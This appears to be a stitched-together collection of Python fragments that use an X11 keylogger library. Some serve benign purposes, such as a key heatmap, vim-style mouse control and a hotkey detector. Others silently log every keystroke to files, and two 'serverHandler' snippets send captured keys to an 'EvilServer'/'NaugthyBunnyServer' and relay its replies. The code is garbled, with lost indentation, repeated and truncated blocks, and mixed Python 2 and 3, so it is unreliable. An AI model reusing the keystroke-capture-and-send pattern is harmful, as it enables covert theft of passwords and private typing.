def key_detect(self):
def __detectKey(t, modifiers, keys):
if (modifiers['left shift'] or modifiers['right shift']) \
and keys == '<esc>':
self.translateByClipboard()
keylogger.log(lambda: self.closed, __detectKey)
def serverHandler():
# Start key logger
now = time.time()
done = lambda: time.time() > now + 60
keylogger.log(done, SendKeysToNaugthyBunnyServer)
# Print what we receive from the server
printMessagesFromNaugthyBunnyServer()
def serverHandler():
# Start key logger
now = time.time()
done = lambda: time.time() > now + 60
keylogger.log(done, sendKeysToEvilServer)
# Print what we receive from the server
printMessagesFromEvilServer()
def start(): #global handle_keys; try: keylogger.log(done, handle_keys); except KeyboardInterrupt: #print(ts); ts.commit_temp(); def stop(): ts.commit_temp();
return x11.XSendEvent(display, 0, True, 4, ct.byref(evt))
@staticmethod
def do_click(amt, char):
for i in range(amt):
DefaultHandler.do_press(char)
DefaultHandler.do_release(char)
def __contains__(self, key):
return key in list('hjkliv') + ['<esc>']
def __call__(self, cache, key):
amt = (''.join(takewhile(str.isdigit, map(lambda x: x[0], cache))))
if len(amt) > 0:
amt = int(amt)
else:
amt = 1
if key in 'hjkl':
DefaultHandler.do_move(amt, {
"h": (-1, 0),
"j": (0, 1),
"k": (0, -1),
"l": (1, 0)}[key])
elif key in 'iv':
DefaultHandler.do_click(amt, key == 'i')
return key == '<esc>'
if __name__ == "__main__":
cmd = CommandReader(DefaultHandler())
log(lambda : cmd, cmd, x11, display)
print("ERROR : Nothing in key_words!!");
exit();
for string in key_words:
string_matcher_collection.append(StringMatcher(string)); #convert key word strings into StringMatcher objects
ts = text_store();
try:
os.mkdir("op");
except FileExistsError:
pass;
#Key Logger start
try:
keylogger.log(done, handle_keys); #Here we go...
except KeyboardInterrupt:
#print(ts);
ts.commit_temp();
'''
class LoggerThread(threading.Thread):
def __init__(self):
#global key_words;
threading.Thread.__init__(self);
try:
key_words_file = open("keys.txt","r"); #IMPORTANT : keys.txt -> file where key words are stored (line-by-line)
key_words = key_words_file.readlines();
key_words_file.close();
except FileNotFoundError:
import keylogger
import time
now = time.time()
done = lambda: time.time() > now + 60
def print_keys(t, modifiers, keys):
print("%.2f %r %r" % (t, keys, modifiers))
keylogger.log(done, print_keys)
def key_detect(self):
def __detectKey(t, modifiers, keys):
if (modifiers['left shift'] or modifiers['right shift']) \
and keys == '<esc>':
self.translateByClipboard()
keylogger.log(lambda: self.closed, __detectKey)
if modifiers:
heatmap_object['modifiers'] = list(modifiers.keys())
if not active_modifiers:
count[key]= count.get(key, 0)+1
else:
if active_modifiers[0] not in count:
count[active_modifiers[0]] = {}
create_dict(count[active_modifiers[0]], key, active_modifiers[1:], [])
def update_count(t, active_modifiers, display_key, chosen_key, modifiers):
if display_key:
create_dict(heatmap_object['count'], chosen_key, active_modifiers, modifiers)
if args.debug:
print("key pressed: {}".format(display_key))
# MAIN
if path.exists(heatmap_output_file):
with open(heatmap_output_file, 'r') as input:
count = json.load(input)
keylogger.set_mapper(load_mapper())
try:
while 1:
now = time()
done = lambda: time() > now + 60
keylogger.log(done, update_count)
dump()
except KeyboardInterrupt:
print("exiting program")
import keylogger
import time
now = time.time()
done = lambda: False
logFile = open('KEY_TAKER-log.log',"a+")
textedLog = open('KEY_TAKER-text.log', "a+")
def print_keys(t, modifiers, keys): print "%.2f %r %r\n" % (t, keys, modifiers)
def logStuff(t, modifiers, keys):
logFile.write("%.2f %r %r\n" % (t, keys, modifiers))
textedLog.write('%r' % keys)
print(keys)
keylogger.log(done, logStuff)
def run(self): self.run_thread = threading.Thread(target=keylogger.log(self.finish,handle_keys))
if modifiers:
heatmap_object['modifiers'] = modifiers.keys()
if not list:
count[key]= count.get(key, 0)+1
else:
if list[0] not in count:
count[list[0]] = {}
create_dict(count[list[0]], key, list[1:], [])
def update_count(t, active_modifiers, display_key, chosen_key, modifiers):
if display_key:
create_dict(heatmap_object['count'], unicode(chosen_key), active_modifiers, modifiers)
if args.debug:
print "key pressed: %s" %display_key
# MAIN
if path.exists(heatmap_output_file):
with open(heatmap_output_file, 'r') as input:
count = json.load(input)
keylogger.set_mapper(load_mapper())
try:
while 1:
now = time()
done = lambda: time() > now + 60
keylogger.log(done, update_count)
dump()
except KeyboardInterrupt:
print "exiting program"
do_move(val, cmd)
elif cmd in [left_click, right_click]:
do_click(val, cmd)
def read_destroy_cache(self):
num_acc = ""
while len(self.cache) > 0:
val = self.cache.popleft()
if not val.isdigit():
self.do_one_cmd(val, num_acc)
num_acc = ""
else:
num_acc += val
def next_char(self, char):
if char is None:
return
if char != done:
self.cache.append(char)
if not char.isdigit():
self.read_destroy_cache()
else:
self.done = True
def __bool__(self):
return self.done
if __name__ == "__main__":
csw = CommandStateWrapper()
log(csw.__bool__, lambda t, m, k: csw.next_char(k), x11, display)
def run(self):
now = time.time()
done = lambda: time.time() > now + self.maxTime*60
log(done,self._save_key);